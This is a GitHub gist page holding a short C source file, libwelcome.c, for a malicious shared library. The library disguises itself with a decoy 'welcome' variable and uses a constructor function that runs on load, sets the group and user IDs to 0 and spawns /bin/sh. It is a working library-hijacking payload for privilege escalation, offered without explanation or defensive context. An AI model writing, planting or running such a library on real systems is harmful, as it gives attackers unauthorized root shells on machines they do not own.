Skip to content

Instantly share code, notes, and snippets.

@int0x33

int0x33/libwelcome.c

Created Mar 26, 2019
Embed
What would you like to do?
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int welcome = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment